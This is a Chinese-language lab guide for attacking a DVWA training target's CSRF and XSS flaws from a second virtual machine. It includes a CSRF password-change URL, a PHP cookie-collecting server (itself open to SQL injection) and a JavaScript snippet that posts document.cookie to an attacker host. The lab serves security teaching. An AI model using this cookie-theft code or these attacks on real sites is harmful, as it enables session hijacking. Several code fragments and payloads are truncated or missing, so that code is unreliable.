提示:本实验仅用于学习参考,不可用作其他用途!
实验环境要求:
总体目标:基于centos7搭建dvwa web服务靶机,使用主机上的浏览器和php虚拟机作为攻击机,攻击dvwa上的跨站漏洞。
任务一、搭建实验基础环境
- 使用dvwa@centos7创建链接克隆php@centos7虚拟机
- 更改php@centos7虚拟机地址为192.168.*.123
- 在dvwa虚拟机ping php虚拟机
- 在主机访问php虚拟机phpinfo.php页面
任务二、攻击CSRF跨站请求伪造漏洞
- 在主机使用浏览器访问dvwa站点设置low级别
- 打开csrf页面,修改密码为123456
- 在dvwa虚拟机打开数据库查看admin的密码
- 在主机浏览器中构造URL改变admin的密码
http://192.168.*.80/dvwa/vulnerabilities/csrf/?password_new=password&password_conf= password &Change=Change#
- 在dvwa虚拟机打开数据库查看admin的密码
- 在php虚拟机构造攻击页面,改变admin的密码 (注意浏览器同源策略)
404
file not found.
- 在主机浏览器访问php虚拟机上的攻击页面
- 在dvwa虚拟机打开数据库查看admin的密码
任务三、在php@centos7构建恶意服务器
- 创建数据库dvwacookie
create database dvwacookie;
use dvwacookie;
create table low(id int not null auto_increment primary key,cookie varchar(100) not null);
create table medium(id int not null auto_increment primary key,cookie varchar(100) not null);
create table high(id int not null auto_increment primary key,cookie varchar(100) not null);
- 编写cookie窃取代码/var/www/html/steal.php
header("content-type:text/html;charset=utf-8");
echo "hello
";
echo "";
$conn=mysql_connect("localhost","root","123456");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
$sql="insert into low(cookie) values('".$_GET['data']."');";
$result=mysql_query($sql,$conn);
mysql_close();
}
else if(isset($_POST['data']))
{
$sql="insert into low(cookie) values('".$_POST['data']."');";
$result=mysql_query($sql,$conn);
mysql_close();
}
else
{
$sql="select * from low";
$result=mysql_query($sql,$conn);
while($row=mysql_fetch_array($result))
{
echo "偷取的cookie:".$row[1]."";
}
mysql_close();
}
?>
- 在主机浏览器访问steal.php
- 编写JS代码/var/www/html/cookie.js
document.write("
document.write("");
document.write("");
document.exploit.submit();
- 编写JS代码/var/www/html/cookie_ajax.js
var url = "http://攻击机IP/steal.php";
var postStr = "data="+document.cookie;
var ajax = null;
if (window.XMLHttpRequest) {
ajax = new XMLHttpRequest();
} else if (window.ActiveXObject) {
ajax = new ActiveXObject("Microsoft.XMLHTTP");
} else {
ajax=null;
}
ajax.open("POST", url, true);//true代表异步
ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
ajax.send(postStr);
任务四、攻击DVWA反射型XSS漏洞(low)
- 测试dvwa反射型XSS漏洞(low)注入点
设置dvwa为low级别,在http://靶机IP/dvwa/vulnerabilities/xss_r/的输入框中输入
- 在dvwa注入点插入攻击脚本,点击提交
- 在主机浏览器访问steal.php
- 在dvwa已经登录的浏览器地址栏输入url
http://靶机IP/dvwa/vulnerabilities/xss_r/?name=
- 在主机浏览器访问steal.php
任务五、攻击DVWA反射型XSS漏洞(medium)
- 测试dvwa反射型XSS漏洞(medium)注入点
设置dvwa为medium级别,在http://靶机IP/dvwa/vulnerabilities/xss_r/的输入框中输入
- 在dvwa注入点插入攻击脚本,点击提交
- 在主机浏览器访问steal.php
- 在dvwa已经登录的浏览器地址栏输入url
http://靶机IP/dvwa/vulnerabilities/xss_r/?name=
- 在主机浏览器访问steal.php
任务六、攻击DVWA存储型XSS漏洞(low)
- 修改dvwa存储型XSS漏洞前端代码
- 测试dvwa存储型XSS漏洞(low)注入点
设置dvwa为low级别,在http://靶机IP/dvwa/vulnerabilities/xss_s/的Message*输入框中输入
在dvwa的MySQL数据库中查看dvwa数据库guestbook表
- 在dvwa注入点插入攻击脚本,点击提交
在http://靶机IP/dvwa/vulnerabilities/xss_s/的Message *输入框中输入
在另外的浏览器访问dvwa,设为low级别,点击访问http://靶机IP/dvwa/vulnerabilities/xss_s/
- 在php虚拟机查看dvwacookie数据库low表
- 在主机浏览器访问steal.php
- 在dvwa注入点插入ajax攻击脚本,点击提交
在http://靶机IP/dvwa/vulnerabilities/xss_s/的Message *输入框中输入
在另外的浏览器访问dvwa,设为low级别,点击访问http://靶机IP/dvwa/vulnerabilities/xss_s/
- 在主机浏览器访问steal.php
- 在php虚拟机查看dvwacookie数据库low表
任务七、攻击DVWA存储型XSS漏洞(medium)
- 测试dvwa存储型XSS漏洞(medium)注入点
设置dvwa为medium级别,在http://靶机IP/dvwa/vulnerabilities/xss_s/的name*输入框中输入
在dvwa的MySQL数据库中查看dvwa数据库guestbook表
- 在dvwa注入点插入攻击脚本,点击提交
在http://靶机IP/dvwa/vulnerabilities/xss_s/的name*输入框中输入
在另外的浏览器访问dvwa,设为low级别,点击访问http://靶机IP/dvwa/vulnerabilities/xss_s/
- 在php虚拟机查看dvwacookie数据库low表
- 在主机浏览器访问steal.php
- 在dvwa注入点插入ajax攻击脚本,点击提交
在http://靶机IP/dvwa/vulnerabilities/xss_s/的name*输入框中输入
在另外的浏览器访问dvwa,设为low级别,点击访问http://靶机IP/dvwa/vulnerabilities/xss_s/
- 在主机浏览器访问steal.php
- 在php虚拟机查看dvwacookie数据库low表
任务八、攻击DVWA DOM型XSS漏洞(low)
- 测试dvwa DOM型XSS漏洞(low)注入点
设置dvwa为low级别,在主机浏览器地址栏中输入
http://192.168.60.80/dvwa/vulnerabilities/xss_d/?default=
在浏览器中查看源代码,分析dom数据
- 获取用户cookie
在主机浏览器地址栏中输入
http://192.168.60.80/dvwa/vulnerabilities/xss_d/?default=
在浏览器中查看源代码,分析dom数据
- 在php虚拟机查看dvwacookie数据库low表
- 在主机浏览器访问steal.php